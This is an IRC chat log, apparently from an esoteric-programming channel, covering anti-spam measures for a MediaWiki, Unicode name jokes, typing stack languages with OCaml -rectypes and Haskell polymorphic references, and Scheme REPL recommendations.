11:18:06 <elliott> I already have some obvious SQL queries to try, but it's still just based on finding mass lists of users to delete.
11:18:09 <elliott> Also, they clog up the user list and such.
11:18:38 <itidus20> i think anything with integer space buy space text is a spammer
11:19:13 <elliott> Indeed, but there's few of them.
11:19:25 <zzo38> You could also try hiding the wiki from Google; see if that helps
11:19:30 <elliott> My queries have produced 200-600 users or so each.
11:19:47 <quintopia> what about captchas on [create page]? how likely is that to help without being annoying?
11:19:48 <elliott> zzo38: That could conceivably help, but it'd also remove 99% of traffic to the wiki and make sure nobody finds it ever.
11:19:57 <elliott> quintopia: There are CAPTCHAs for every single anonymous edit.
11:20:01 <elliott> And for user registration.
11:20:07 <quintopia> elliott: i meant for registered yeah
11:20:26 <elliott> I think that would be possible. But it would be annoying. What would be nice is if I could add e.g. three broken tries at the CAPTCHA and your account is blocked.
11:20:41 <elliott> But the time spent writing such an extension is, again, longer than the time it'd take to round up every existing spammer and delete them.
11:21:04 <quintopia> since you could improve all mediawikis everywhere that way :D
11:21:24 <elliott> I would not like to contribute to editor annoyance on MediaWikis.
11:21:39 <elliott> Anyway, the only MediaWikis really infested with spam are the ones ignored by their admins.
11:22:18 <quintopia> you could reduce editor annoyance by making it possible to become a Trusted User with admin intervention...
11:23:06 <elliott> I don't see why you're so attached to solutions that involve more user annoyance and more long-term effort than a one-time purge operation.
11:23:28 <quintopia> because i don't know that it is a one-time purge operation?
11:23:40 <elliott> What is that supposed to mean?
11:23:52 <elliott> The only way any new users can trickle in is by solving a CAPTCHA. You proposed a CAPTCHA on the create page function.
11:23:56 <quintopia> krishna1 could be an anomaly...or a sign of things to come
11:24:03 <elliott> So there is no benefit if the spammers can solve CAPTCHAs.
11:24:27 <elliott> Anyway, ominous language aside, spambots that can solve CAPTCHAs are not the issue I'm dealing with.
11:24:32 <quintopia> how fast do wiki spambots usually work?
11:24:39 <elliott> Spambots that can't solve CAPTCHAs but get through with existing accounts are the issue I'm dealing with right now.
11:24:55 <quintopia> how many articles do they post a second around the web
11:25:22 <zzo38> Perhaps you can somehow use time to discourage spams? Will changing the default skin to an uncommon one do anything?
11:25:25 <elliott> Google it or something if you want statistics.
11:25:49 <quintopia> zzo38: that was my thought, but i suspect that wiki spambots are slow, so not a good idea
11:26:06 <Ngevd> elliott: how many captchas are there?
11:26:14 <elliott> quintopia: There are certainly spambots per minute hitting the wiki.
11:26:31 <elliott> Ngevd: How many CAPTCHAs what? Pages with CAPTCHAs? CAPTCHA Q&A pairs?
11:26:33 <zzo38> I think hiding it from Google is a way to do so anyways. I set up the robots.txt to hide everything from Google, and then removed all internal (and external) links, and changed the root page to redirect to the root gopher menu instead, and then I told the gopherproxy owner to block access to my computer from there. Therefore, this help a lot.
11:26:37 <Ngevd> elliott, the latter
11:27:12 <elliott> zzo38: Yes, it helps a lot. It also ensures nobody visits your site.
11:27:37 <elliott> Ngevd: Five. But if people are manually clicking links and filling them out, adding new ones won't help.
11:28:31 <zzo38> elliott: Not true... a few people do. They can tell other people manually if they like to do so.
11:29:28 <zzo38> Can you block account creation and anonymous edits from Internet Explorer clients?
11:30:17 <elliott> Yes, which would exclude legitimate IE users.
11:30:24 <elliott> For instance, oerjan uses IE.
11:30:34 <zzo38> But oerjan already has an account.
11:30:39 <elliott> Sure, he already has an account, but it's an example that IE users can be valuable.
11:30:44 <elliott> He's unlikely to be the last helpful IE user.
11:32:30 <fizzie> Unlikely, but wouldn't it make one spiffy business card title? "oerjan oerjan\nthe last helpful IE user", centered.
11:32:46 <fizzie> (I'm not so sure about the names, so I improvised.)
11:33:15 <fizzie> Like the last of the mohicans.
11:33:54 <elliott> AKA oerjan "[fancy O]rjan Johansen" oerjan.
11:34:55 <fizzie> Ørjan "Fancy Ørjan" Johansen.
11:35:43 <fizzie> ∅rjan looks just silly.
11:36:19 <zzo38> No, the correct TeX symbol is {\O rjan Johansen}
11:37:28 <fizzie> œrjan, to keep in touch with the nickname.
11:37:53 <shachaf> 023C1 DENTISTRY SYMBOL LIGHT DOWN AND HORIZONTAL WITH CIRCLE [⏁]
11:38:41 <fizzie> You've got an ☿rjan in your terminal? That's fancy-o.
11:39:26 <fizzie> King ♔rjan, like e's known to the populace.
11:40:27 <fizzie> And of course the famed activist, ☮rjan.
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11:42:33 <shachaf> Also known as "Contourjan"
11:42:53 <fizzie> Wow, the combining slashes are so not centered with the O.
11:43:42 <fizzie> Well, that's fancy. Though horrible in a terminal.
11:44:18 <fizzie> I suppose it should've been Ø⃠rjan, though.
11:45:34 <fungot> ( \o| |o| |o/ \m/ \m/ |o/ \o/ \o| \m/ \m/ \o| |o| |o/)S
11:45:34 <myndzi> | | | `\o/´ | | | `\o/´ | | |
11:45:35 <myndzi> |\ |\ /| | |\ /´\ /| | /< /'\ /|
11:46:21 <lambdabot> Phantom_Hoover: You have 1 new message. '/msg lambdabot @messages' to read it.
11:46:26 <fizzie> ⬠̸rjan, the Five-Sided. (Okay, that's enough for me.)
11:46:55 <fizzie> ^def test ul Can you just put any sort of text in to be show'd for an ul thing?
11:46:58 <fungot> Can you just put any sort of text in to be show'd for an ul thing?
11:47:00 <itidus20> only a true masochist could click on every name for > 1000 names and determine from it's contribution history if its a spam bot
11:47:03 <fizzie> Well, that's just silly.
11:47:22 <fizzie> ^def test bf I don't think the same thing works for bf at all.
11:49:00 <fizzie> Hmm, I wonder if it tape-cell-size modulo's the numbers already at that stage.
11:49:04 <fizzie> ^def test bf ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
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11:50:35 <fizzie> It doesn't understand that notation as input.
11:50:50 <Ngevd> I may have killed zzo38
11:51:14 <fizzie> Sounds unlikely. Unless you e.g. shot him while saying that, or something.
11:53:22 <itidus20> some of the spam names are obvious like AkylazgWUY and ScottTuckerPaydayLoansyyy ... but then theres names like Alexander88 and Alhirzel. and i see that most of the names fall into the painful reasonable doubt category
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12:00:23 <lambdabot> elliott said 1h 6m 44s ago: A spambot just got past the CAPTCHA. help
12:00:37 <ais523> elliott: clearly the spammers are solving a few of the questions by hand
12:00:51 <ais523> adding more would help, as would checkusering and blocking the spambot that did it, as would abusefiltering its patter
12:01:29 <elliott> ais523: adding more I'd prefer to avoid; I already blocked the spambot but didn't checkuser yet
12:01:30 <ais523> if it happens again we'll be able to spot the pattern
12:01:46 <elliott> that and abusefilter would work, but I'd prefer to block more than one spambot in one go
12:02:01 <elliott> with less user-visible solutions; I'm looking at the available anti-spam extensions for MW
12:02:51 <elliott> ais523: I'm surprised whoever it was that filled it out managed to click the link, read the page, and understand it enough to fill in the CAPTCHA
12:03:17 <ais523> I'm more trying to see what sort of range it's in
12:03:25 <ais523> it seems to be a /18, which is rather uncomfortably large to block
12:04:20 <ais523> I don't think an IP block would work there anyway
12:04:45 <elliott> the pattern in the access logs used similar hostnames to other spambots
12:04:49 <elliott> with lots of .NET CLRs in them
12:04:54 <elliott> I suspect it's some kind of embedded IE browser
12:05:11 <elliott> that directs the CAPTCHA-farmer to a wiki and tells them to register or such
12:05:16 <elliott> because it followed slow, browser-like patterns
12:05:27 <elliott> as opposed to most spambots in the logs, which just blindly shoot off a few requests
12:05:46 <elliott> if that's correct, then there's basically nothing that can be done, if there's a human behind the wheel of a real browser who will follow links to fill in a CAPTCHA
12:05:52 <fizzie> Incidentally, did you see the fetch of the page with the CAPTCHA answer too?
12:06:00 <elliott> fizzie: oh, good point, I didn't check
12:06:43 <elliott> 124.123.139.13 - - [24/Feb/2012:10:43:50 +0000] "GET /wiki/IRP HTTP/1.1" 200 7685 "http://esolangs.org/w/index.php?title=Special:UserLogin&type=signup&returnto=Main+Pag
12:06:43 <elliott> e" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.3; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"
12:06:50 <elliott> human-controlled, without a doubt
12:07:14 <elliott> that's also the easiest CAPTCHA to answer, since it's in the first few words of the article... but I'm not sure that's relevant
12:09:04 <fizzie> The 124.123.139.13 you mentioned is from a DHCP range for some Indian ISP, Beam Telecom. (In particular, from a /24 that's labeled "Mehdi Patnam Zone (DHCP)".) I don't know how CAPTCHA-answer farms operate, whether they bother to forward traffic through botnets or just have the "employed" person just use their 'net connection, since it doesn't really hurt them so much if some random people get IP-blocked.
12:10:55 <elliott> Googling for various hostnames of bad-behaving spider bots and the like suggests to me that the common solution to all this rubbish is to, like, block the entirety of India, Russia and Asia.
12:10:59 <elliott> I find that somewhat undesirable.
12:11:47 <ais523> http://sprunge.us/BLIW
12:12:36 <ais523> I'm surprised it got that far, actually
12:14:02 <ais523> looks like an actual type error
12:14:21 <elliott> ais523: did you ever decide whether underload is cbpv?
12:14:41 <ais523> elliott: no, I'm having that discussion at the moment, actually
12:15:48 <ais523> if I replace that cat with a free variable, it types ;)
12:16:16 <Ngevd> Nah, bruch is 10-12
12:18:27 <monqy> brunch is if I haven't eaten breakfast
12:18:48 <monqy> so really it ends up being from 13-15
12:18:50 <elliott> brunch is if ur not fuly human
12:18:55 <elliott> monqy: wow you get up early, monqy,
12:19:29 <monqy> i thought it was well-established I was subhuman, months ago
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12:28:46 <Taneb> I feel better when I'm Taneb
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12:57:25 <ais523> OK, so without forcing the type of that cat, it types, although it doesn't type /correctly/
12:58:58 <ais523> anyway, typed underload, it's impossible to do an infinite loop without adding an explicit fix combinator
12:59:06 <ais523> (dup // eval is a type error)
13:01:07 <elliott> ais523: I bet you can do it with rank-n types or something
13:01:12 <elliott> the problem is that dup forces the two copies to have the same type
13:01:23 <elliott> which fails the occurs check later on
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13:39:28 <oklopol> elliott: Friendship pong ^^
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14:09:35 <ais523> anyway, the point is that in typed lambda calculus, you can't write an infinite loop
14:09:42 <ais523> unless you add a constant to the language whose purpose is to make loops possible
14:09:53 <ais523> and if dup // eval worked, then you could
14:10:56 <ais523> (the mockingbird combinator is the dirtiest of used-in-the-implementation-of-recursion combinators, it doesn't type in anything)
14:10:59 <ais523> (probably not even Anarchy)
14:11:25 <ais523> so, hmm, I wonder if Underlambda's continuation primitives work typed
14:12:24 <ais523> hmm, the very basic one is n, but n is really weird in its own right
14:12:32 <ais523> (n determines whether the stack is empty)
14:12:57 <ais523> it's backwardsly scoped, or something
14:13:32 <ais523> hmm, and C, I'm not even convinced it's expressible in a pure language
14:22:49 <ais523> elliott: in Haskell, is there any way to express a type A such that A = (A, Int)?
14:22:54 <ais523> without adding extra type constructors?
14:25:51 <elliott> ocaml can do it with -rectypes
14:26:12 <elliott> (so I don't see why type synonyms would be restricted)
14:26:18 <elliott> ais523: you may need special syntax for it, though
14:26:25 <elliott> try writing some recursively-typed stuff to find out the syntax
14:26:32 <ais523> I wonder if you can type Y in Anarchy
14:26:47 <elliott> ais523: -rectypes is sound I think
14:26:48 <ais523> I guess you probably could, because it's possible to write an infinite loop in it
14:26:59 <ais523> elliott: that's exactly the type system I've been looking for, I think
14:26:59 <elliott> Y doesn't type in Haskell and it has infinite loops
14:27:13 <ais523> i.e. a fixed-point constant
14:27:21 <elliott> it has no "let rec" construct :)
14:27:21 <ais523> oh, so does Anarchy, I'm being stupid
14:27:28 <elliott> but it has fix and recursive bindings, yes
14:27:33 <elliott> fix being defined in terms of the latter
14:27:48 <ais523> I can call the construct in general let rec, even if Haskell's impl of it isn't called that
14:27:50 <ais523> it's a good name for it
14:29:16 <ais523> - : '_a * ('_a * 'b -> '_c as 'b) -> '_c = <fun>
14:30:01 <ais523> hey, I've just realised that Anarchy trivially compiles into OCaml -rectypes! :)
14:30:30 <ais523> instead of using T (a, b), you use (T, a, b), where T is the only value of a type with one value
14:31:26 <ais523> this is actually mindblowing :)
14:32:35 <ais523> # q(dup // eval) // dup // eval ;;
14:32:47 <ais523> in retrospect, /that/ was inevitable :)
14:33:10 <ais523> ofc, (:^):^ really can map any stack to any other stack
14:33:11 <elliott> ais523: note that LC is trivially typeable with -rectypes
14:33:20 <elliott> so, you're giving up a lot by adopting it as your type system
14:33:28 <elliott> you may end up rejecting no programs at all
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14:33:48 <ais523> the idea is to reject programs that have non-total pattern matches
14:34:50 <ais523> e.g. (+) "a" "b" would be rejected in Anarchy, because "a", being a list of chars, uses type constructor Cons, and (an assumed natural number +) only pattern-matches against Succ and Zero
14:34:56 <ais523> so the program wouldn't type
14:35:32 <ais523> hmm, I guess (+) 2 "a" /would/ type, the return value would be something that gave a string if decremented twice
14:36:33 <ais523> but (+) n "a", for an n calculated at runtime, could only be pattern-matched by things that expected a number, a string, or a successor of a string
14:36:42 <ais523> which is a kind-of silly combination
14:39:31 <ais523> elliott: put it this way: not all types are function types, so programs still get rejected
14:40:13 <lambdabot> Not in scope: data constructor `Cont'
14:41:53 <ais523> hmm, actually, I'll still need sum types
14:42:09 <ais523> so -rectypes isn't enough by itself
14:42:25 <ais523> (this is not the same as ADTs, as they have a fixed list of type constructors)
14:43:22 <ais523> I guess I can build them by hand using Either
14:48:32 <ais523> anyway, oerjan-swap doesn't give the right type with -rectypes either (it gives a general type where function = stack->stack, stack = stack*function, which can describe any Underload-minus-S program, not just swap in particular)
14:56:40 <ais523> actually, no, /actually/ got it
14:56:44 <ais523> say we have three tags, A, B, and C
14:57:24 <ais523> then a function which accepts type A(X) + B(Y) + C(Z) can have type (X -> Q, Y -> Q, Z -> Q) -> Q
14:58:38 <ais523> err, hmm, is that right?
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15:03:41 <ais523> [[A(x)]] = (x -> q, j1 -> k1, j2 -> k2) -> q; [[A(x)->y]] = ((x -> y, j1 -> 0, j2 -> 0) -> y) -> y; [[B(x)]] = (j1 -> k1, x -> q, j2 -> k2) -> q; [[(A(x)+B(y))->z]] = ((x -> z, y -> z, j1 -> k1) -> z) -> z
15:04:20 <ais523> (where 0 is assumed to be a type with no values)
15:04:46 <ais523> that way, a function of type A(x)->y can't take an argument of type B(x), as that'd try to match y with 0
15:04:59 <ais523> and that's where the typing failure comes in
15:06:00 <ais523> and that's how you get a type error in Anarchy
15:09:50 <ais523> an actual implementation of, say, A(4), would be fun (f, g, h) -> f(4); of B(4) would be fun (f, g, h) -> g(4); of function | A(x) -> x would be fun a -> a (id, fail::0, fail::0); of function | A(x) -> x | B(x) -> x would be fun ab -> ab (id, id, fail::0)
15:10:10 <ais523> hmm, I wonder how you write a type with no values in OCaml
15:10:53 <elliott> ais523: does ocaml have newtypes?
15:10:59 <elliott> with rectypes, 'a as 'a might work
15:11:55 <ais523> I guess I could, alternatively, give it one constructor that I just didn't use for anything else
15:14:02 <elliott> that's gross, don't do that
15:14:15 <elliott> but does ocaml have newtypes? basically one-constructor one-field data types with no runtime overhead
15:14:20 <elliott> i.e. the type is erased at compile-time
15:14:35 <ais523> I've just been looking up the syntax
15:14:52 <ais523> and the only type definition keywords are "type" and "exception", both of which need at least one constructor
15:15:30 <ais523> wait no, that's the name of the type, misleadingly named
15:15:43 <elliott> ais523: what's wrong with just
15:15:46 <ais523> oh, it seems you can just write "type zero;;"
15:15:58 <ais523> and it creates a type with no constructors for you :)
15:15:59 <elliott> oh, wait, you could do it cyclically
15:16:33 <ais523> Error: The type abbreviation zero is cyclic
15:17:13 <ais523> # type zero = Zero of zero ;;
15:17:14 <ais523> type zero = Zero of zero
15:17:35 <ais523> that type has no values, due to being in a strict language
15:17:55 <elliott> out of curiosity, does 'a as 'a work?
15:18:10 <ais523> I couldn't figure out what you meant by that
15:18:21 <ais523> I tried a few permutations but they were all equivalent to things you obviously didn't mean
15:18:35 <ais523> e.g. type 'a zero = 'a as 'a;; is the same as type 'a zero = 'a;;
15:18:55 <ais523> and type zero = 'a as 'a gives an unbound type parameter message
15:19:05 <elliott> <ais523> - : '_a * ('_a * 'b -> '_c as 'b) -> '_c = <fun>
15:19:16 <elliott> so try and type something as ('a as 'a), and that should be the type A = A
15:19:19 <elliott> which should have no values
15:20:31 <ais523> I just get "unbound type parameter 'a" when I try that
15:20:48 <ais523> whereas # type zero = (('a * 'a) as 'a) ;; works
15:21:05 <ais523> so I guess it's just a scoping thing
15:21:17 <elliott> I guess it needs to be a non-type-variable on the lhs of as
15:21:39 <ais523> # type ursala = 'a list as 'a ;;
15:21:40 <ais523> type ursala = 'a list as 'a
15:23:14 <ais523> ooh, hmm, this Anarchising program transformation, I recognise seeing it before
15:23:21 <ais523> in an Underlambda header
15:23:48 <ais523> and Paul Levy proved it equivalent to a sum type on a whiteboard in front of me a few weeks ago
15:23:55 <ais523> so it should be safe to use
15:24:28 <elliott> ais523: Has Paul Levy kindly informed you that Underlambda is weird as heck yet?
15:24:42 <ais523> no, because I haven't managed to explain it to him yet
15:25:23 <elliott> ais523: Have you told him about Feather yet?
15:25:36 <ais523> typed underlambda seems neat, the type-checker can statically prove that the stack never underflows
15:25:47 <ais523> and no, I haven't managed to explain that to /anyone/ yet, including myself
15:28:28 <elliott> lots of stack-typed languages can do that
15:29:22 <elliott> Friendship: You run an rsync server thing. How does it, how good it, how easy it, how it
15:29:53 <Friendship> Since I have absolutely no memory of how I set it up, those questions are hard to answer ;)
15:30:54 <elliott> Friendship: Do you use rsync --daemon?
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15:31:02 <Friendship> I installed rsyncd, then did what seems to be extremely minor twiddling of /etc/rsyncd.conf
15:31:02 <elliott> I'm trying to decide between rsync and zsync for the esowiki XML dumps.
15:31:29 <elliott> zsync has the advantage that I don't need to run another server, and people can still download the file through "normal" means (I think).
15:31:35 <elliott> rsync is probably a lot more common though.
15:32:22 <Friendship> Well, here's my /etc/rsyncd.conf (minus comments): http://sprunge.us/OEag
15:34:14 <Friendship> Oh look, somebody removed my parade o' death.
15:34:14 <elliott> Friendship: I was gonna ask whether your distro has zsync, but loldebian so yeah it does
15:35:21 <kmc> what's a good REPL for r5rs Scheme/
15:39:20 -!- kmc has left ("Leaving").
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15:39:34 <kmc> MIT Scheme seems to be i386-only
15:40:32 <kmc> i'm looking for good readline-like behavior, e.g. tab completion of identifiers
15:40:47 <elliott> I don't know of anything like that.
15:41:01 <kmc> Gambit's REPL (gsi) does that well
15:41:02 <elliott> MIT Scheme supports x86-64.
15:41:13 <Friendship> (The program that proves that readline's license is pointless)
15:41:15 <elliott> Friendship: which won't tab-complete identifiers
15:41:20 <kmc> rlwrap won't give me tab completion of what elliott said
15:41:26 <kmc> not without extra work
15:41:31 <kmc> but yeah, rlwrap might be good enough
15:41:42 <elliott> I suggest you take typing lessons or something, since nothing like that exists AFAIK :P
15:42:05 <Friendship> I want to be able to tab-complete my parentheses.
15:42:45 <kmc> elliott, gsi exists
15:42:48 <kmc> but it has other problems
15:58:06 <elliott> kmc: Use gsi to drive an R5RS-compliant interpreter underneath.
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16:14:49 <kmc> actually the reason i want a scheme interpreter is to run a little interpreter i wrote
16:15:01 <kmc> for a fexpr / vau calculus thingy
16:15:40 <elliott> anyway SISC has very good R5RS compliance iirc
16:15:58 <kmc> i haven't used it
16:16:00 <elliott> and doesn't seem to suffer too much being JVM-based (in that it doesn't go for "java interop" at all)
16:16:07 <kmc> working my way through the 416 page PhD thesis
16:16:25 <elliott> but s48 is more popular and mit too I think (although perhaps less so)
16:16:41 <kmc> zombie 6.001 uses racket
16:16:45 <kmc> which causes no end of trouble
16:16:52 <kmc> because it only reluctantly sort of acts like a scheme implementation
16:17:07 <kmc> it used to use MIT Scheme but switched
16:17:10 <kmc> for reasons i do not recall
16:17:39 <kmc> MIT Scheme itself might work on x86-64, but the Debian packages are i386-only
16:18:35 <elliott> give scheme48 and sisc a try then :P ... i like several other implementations but they're not too r5rs-strict
16:19:02 <kmc> i don't really need strict compliance
16:19:07 <kmc> just annoyed by a few of racket's divergences
16:19:15 <kmc> like distinguishing mutable pairs from pairs
16:19:20 <elliott> right. then pretty much anything that isn't racket should suit you fine
16:19:25 <elliott> kmc: erm, that goes away if you turn on the R5RS language
16:19:31 <elliott> racket is a multi-language environment
16:19:35 <elliott> #lang r5rs at the top of a file
16:19:51 <elliott> i think that's still not strictly compliant. but it won't have a major divergence like that
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16:25:04 <kmc> i don't wanna put garbage at the top of my file ;)
16:25:15 <elliott> there's a command-line thing for it, sheesh
16:25:30 <kmc> which in turn interferes with racket's readline mode
16:25:46 <elliott> well racket supports per-language modules
16:25:49 <kmc> i don't feel like shaving all these yaks
16:25:51 <elliott> figure out how to divide it properly or something :P
16:26:04 <elliott> fizzie is a schemester, ask his opinions
16:26:41 <elliott> http://sisc-scheme.org/r5rs_pitfall.php is a helpfully pedantic r5rs comparison :p
16:39:41 <ion> ^bf +.>+++++++[<++++++++++++>-]<+.-----------------.+++++++++++++.+.----------.++++++.-.>+++++++[<----------->-]<.
16:40:35 <elliott> ion: Don't make fungot said CTCPs. You know what happened the last time it did that.
16:40:35 <fungot> elliott: i was thinking
16:40:43 <elliott> If you don't, all the more reason!
16:41:27 <ion> What happened the last time it did that?
16:41:31 -!- Guest66243 has joined.
16:41:57 <ion> And why hasn’t it been fixed to send automatic messages as NOTICEs? :-P
16:42:19 <elliott> ion: Some shit who remains anonymous to this day whined to a staffer, fizzie was forced to take fungot down until he fixed it, and a staffer lurked in the channel for montsh.
16:42:20 <fungot> elliott: the lexically-scoped nature of the god object notation." if you want real efficiency, i'd download textgen.java.
16:42:47 <elliott> (OK, "anonymous" as in "everyone thinks it's the same person but won't say it publicly".)
16:42:55 <elliott> ion: Someone used it to send the sendkeylogger thing IIRC.
16:43:02 <elliott> Which of course did nothing, since nobody here has a broken router.
16:43:35 <elliott> Of course it's nonsense because anyone who could make the bot send it could just as easily send it themselves.
16:46:10 <ion> I take it fungot does at least handle newlines in bf output properly? :-)
16:46:10 <fungot> ion: that's a traditional chinese character meaning " education".)
16:48:39 <ion> ^bf ++++++++++.>+++++++[<++++++++++>-]<.++.---------.+++++++++++++.---------.++++++.------------.>+++++[<------->-]<----.>+++++++[<++++++++++>-]<+++.++++++.-.>+++++++[<----------->-]<-.>+++++[<+++++>-]<+.>+++++++[<+++++++>-]<++++.>+++++++[<----------->-]<--.>+++++++[<++++++++++>-]<++.-------.++++++++.
16:48:45 <ion> It does. :-)
16:49:59 <ais523> - : (('_a * '_b -> '_a) * ('_c -> zero) -> '_d) -> '_d = <fun>
16:50:02 <ais523> - : '_a -> '_a = <fun>
16:50:05 <ais523> - : (('_a * int -> '_a) * ('_b -> zero) -> '_a) -> '_a = <fun>
16:50:10 <ais523> do people agree with me that this can only possibly be a compiler bug?
16:50:52 <elliott> ocaml is probably unifying types as it goes
16:50:58 <elliott> trying to make pop more monomorphic or sth
16:51:24 <ais523> but, the whole point of it is to be polymorphic
16:51:36 <ais523> as in, I don't see how using a function can make it less polymorphic
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16:53:07 <ais523> - : '_a -> '_a = <fun>
16:53:10 <ais523> Error: Unbound constructor
16:53:30 <ais523> so, is /that/ a compiler error? the error message makes no sense any more
16:55:13 <elliott> ais523: well consider ML references
16:55:22 <elliott> but as soon as you fill a type in it's fixed
16:55:27 <elliott> that's what the '_a stuff means after all
16:55:43 <ais523> oh, is there a difference between '_a and 'a?
16:57:11 <ais523> I'd love it if there was a way to do types that didn't get instantly fixed
16:57:25 <ais523> that just stayed polymorphic if they could
16:58:11 <elliott> ais523: oh, maybe i'mt hinking 'a vs. ''a
16:58:20 <elliott> anyway, polymorphic references are a well known problem in ml community
16:58:29 <elliott> you must disallow putting in an int and taking out a string and such
16:58:31 <ais523> but this is pure functional, no mutable values anywhere
16:58:34 <elliott> so some "fixing" must be required
17:02:07 <ais523> I think with references it's fine; if a ref is both read and written, it fixes its type from both variances
17:02:47 <elliott> then you can use it as a ref int
17:02:51 <elliott> and you can use it as a ref string
17:02:55 <elliott> that's how polymorphism works
17:05:24 <ais523> no, because it depends on variances
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17:13:39 <elliott> please /part the channel to punish yourself, thanks
17:14:18 <elliott> ais523: if (r :: forall a. IORef a), are you denying that (writeIORef r (42 :: Int)) and (readIORef r :: IO String) are both perfectly valid expressions?
17:15:52 <elliott> ais523: then, I accuse you of not understanding polymorphism
17:16:00 <elliott> for reference, writeIORef :: forall a. IORef a -> a -> IO ()
17:16:04 <elliott> readIORef :: forall a. IORef a -> IO a
17:16:08 <kallisti> I assume you're looking at each expression seperately
17:16:12 <kallisti> and not, say, combined with a >>
17:16:18 <elliott> ais523: i think you are mixing up your quantifiers
17:16:22 <elliott> probably because OCaml leaves them implicit
17:16:32 <elliott> those two programs are undeniably well-typed for an r of that type
17:17:03 <ais523> I think the types of writeIORef and readIORef that you've listed are wrong, or at least don't reflect what those functions actually do
17:17:39 <elliott> when you say, "it's fine" and contradict my statement with "no, because it depends on variances", you actually mean "it *should* be fine" and "ideally no, because it should depend on variances"
17:17:55 <elliott> well, I was rather clearly not talking in the context of some hypothetical system
17:17:56 <ais523> elliott: I think we're defining "references" differnetly
17:18:06 <ais523> I didn't realise you were referring to a particular broken system of references
17:18:06 <elliott> those types for {read,write}IORef are perfectly correct, and they match the corresponding types for ref in ML
17:18:14 <ais523> I think ref is broken in ML too
17:18:46 <kallisti> note however that: writeIORef r (42 :: Int) >> (readIORef r :: IO String)
17:18:48 <elliott> i can only assume you are being deliberately obtuse, since I was explaining why that behaviour is valid in an ML derivative, relating it to the solution to the polymorphic references problem
17:18:59 <elliott> which obviously applies to actual references that exist, not ones you imagine
17:19:04 <elliott> kallisti: yes it is, if r has the type I gave
17:19:12 <elliott> try it yourself, stub out r = undefined
17:19:14 <ais523> let's see… writeIORef should have type "forall a. IORef (a or more specific) -> a -> IO ()", readIORef should have type "forall a. IORef (a or more general) -> a -> IO ()"
17:20:39 <ais523> and that "forall a. IORef a" is a type that can't possibly have the semantics you'd want from a reference, unless it does unsafe casting or something, because it /would/ be able to store arbitrary types and convert them to arbitrary other types
17:21:11 <elliott> of course you don't want a reference witht ype (forall a. IORef a), that's the entire polymorphic references problem
17:21:35 <elliott> but I won't bother discussing this further since you're just going to end up rehashing the whole standard problem without actually reading up on it...
17:22:40 <ais523> elliott: well, I don't get what's wrong with this suggested solution
17:22:43 <kallisti> so uh, what happens semantically in that example.
17:22:50 <elliott> ais523: nobody said it was wrong
17:22:53 <elliott> it is, however, beyond irrelevant
17:22:55 <ais523> and going back to the original point, this all seems irrelevant to the polymorphic non-references problem I was describing earlier
17:23:09 <elliott> I was describing why your observed behaviour was not _unambiguously_ a compiler bug. that is all.
17:23:17 <elliott> types changing due to use is accepted in ML. whether it is what you are observing, I cannot say.
17:23:25 <elliott> kallisti: the evaluator hits r and an exception is thrown
17:23:34 <elliott> the program then terminates with "*** Exception: Prelude.undefined" or such
17:23:37 <ais523> it's not documented in the manual, but then the manual doesn't even explain type inference
17:23:57 <kallisti> I guess I've just never encountered a polymorphic reference.
17:24:00 <elliott> kallisti: this tends to happen when stubbing things out with undefined.
17:24:10 <kallisti> it seems almost like an unsafeCoerce.
17:24:25 <elliott> yes, you can implement unsafe coercion with a polymorphic reference.
17:24:46 <Friendship> So, graue joined for three hours to say ... nothing.
17:24:50 <elliott> say r :: forall a. IORef a, then cast :: a -> IO b; cast x = writeIORef r x >> readIORef r
17:25:09 <elliott> other things you can implement unsafe coercion with:
17:25:20 <elliott> - other features that are unsafe and thus provide unsafe coercion
17:25:34 <elliott> polymorphic references should not make you frown any more than these
17:25:44 <elliott> you may be assuming there is a way to get one without unsafe mechanisms
17:25:54 <elliott> by the way, I'm grumpy and tired, have a nice day
17:25:56 <ais523> elliott: btw, does IOT exist? I can't remember whether it does or not
17:26:00 <kallisti> no it just seems to destroy type safety...
17:26:13 <elliott> kallisti: yes. just like unsafeCoerce, unsafeCoerce#, other features that are unsafe and thus provide unsafe coercion
17:26:20 <kallisti> right, but there's no warning here.
17:26:23 <elliott> lots of things that are not possible in haskell 98 break type safety.
17:26:28 <ais523> why can't it be implemented the same way as ReaderT and WriterT?
17:26:31 <elliott> getting a polymorphic reference is one of these.
17:26:38 <elliott> you seem to be ignoring the point i am beating into your head.
17:26:45 <ion> unsafeThisIsAWarningCoerce
17:26:47 <elliott> it is impossible to get a polymorphic reference by design
17:27:03 <elliott> ReaderT and WriterT seem irrelevant
17:27:09 <ais523> elliott: I'd just expect the IO to end up outside the continuation, then
17:27:10 <elliott> IO isn't ReaderT and it isn't WriterT
17:27:17 <elliott> ais523: no, that's ContT IO
17:27:23 <elliott> IOT Cont would let you reverse IO
17:27:32 <elliott> anyway, IO is only State if you ensure linearity
17:27:35 <kallisti> or repeat IO computations multiple times.
17:27:37 <elliott> which is the whole thing IOT needs to break
17:27:43 <elliott> because the underlying monad can cause you to jump around
17:27:50 <elliott> and as you can't replace the real world, it all falls apart
17:27:58 <ais523> anyway, Paul Levy claimed today that StateT Cont and ContT State happened to be the same, was he wrong?
17:28:13 <ais523> (claiming that monad transformers didn't commute in general, but those two did)
17:28:22 <elliott> i think he's right, but i'm too tired to think about it
17:28:25 <ais523> but it'd seem to me that one would leave the state inside the continuations, and the other the state outside
17:28:35 <ais523> or perhaps he had a different definition of continuations
17:28:42 <kallisti> my favorite thing about [State s a] is State s [a]
17:28:45 <elliott> the other advances state blindly
17:28:49 <elliott> regardless of continuationing
17:28:53 <ais523> yep, that's what I thought
17:29:00 <ais523> so my guess is that his ContT doesn't affect state
17:29:12 <ais523> because it specifically aims only at a part of the language
17:30:13 <elliott> i don't think his definition of "monad transformer" can be very standard then
17:30:17 <elliott> if it's "looking" at parts of the underlying monad
17:30:24 <kallisti> hm, I think ReaderT Cont and ContT Reader would be the same though?
17:30:48 <ais523> elliott: it's more that his effects are impure, so they don't work quite the same way as Haskell monads
17:31:01 <elliott> kallisti: yes, ReaderT commutes with just about everything
17:31:15 <elliott> distribute is a more accurate word than commute methinks
17:31:28 <kallisti> is there any underlying property of ReaderT that makes so. something you could, say, generalize to other monads to show that they're also commutative?
